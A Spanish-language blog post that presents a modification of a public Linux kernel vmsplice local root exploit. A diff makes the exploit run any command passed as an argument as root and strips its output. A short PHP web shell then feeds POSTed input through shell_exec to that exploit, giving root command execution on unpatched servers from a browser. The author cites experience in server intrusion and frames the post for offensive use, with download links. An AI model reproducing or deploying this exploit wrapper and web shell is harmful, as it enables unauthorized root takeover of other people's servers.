root exploit: Ejecutar comando como root

Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 - 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff
51a52
> char	*_cmd;
55d55
< printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
182,183d181
<
< 	printf("[+] root\n");
185c183,184
< 	execl("/bin/bash", "bash", "-i", NULL);
---
> 	system(_cmd);
> 	//execl("/bin/bash", "bash", "-i", NULL);
195a195
> 	_cmd = argv[1];
202,205d201
< printf("-----------------------------------\n");
< 	printf(" Linux vmsplice Local Root Exploit\n");
< 	printf(" By qaaz\n");
< 	printf("-----------------------------------\n");
221,223d216
< 	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
< 	printf("[+] page: 0x%lx\n", pages[0]);
< 	printf("[+] page: 0x%lx\n", pages[1]);
241,243d233
< 	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
< 	printf("[+] page: 0x%lx\n", pages[2]);
< 	printf("[+] page: 0x%lx\n", pages[3]);
258,259d247
< 	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
< 	printf("[+] page: 0x%lx\n", pages[4]);
269d256
< 	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion
PRE1

··· Leer más ···

De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.

 < ?PHP
print "
<form action="?" method="post">
<input name="cmd" type="text" />
<input type="submit" value="eXec!" />

";
if(isset($_POST['cmd']))
{
   print "<textarea cols="30" rows="120">";
   print shell_exec("./root-exploit ".$_POST['cmd']);
   print "</textarea>";
}
?>

Descargas
Variacion del exploit
Exploit original 1
Exploit original 2

Comentarios (2)

nojuack
Interesante ;)
printables
It's amazing to pay a quick visit this web page and reading the views
of all mates about this post, while I am also keen of getting knowledge.

Deja un comentario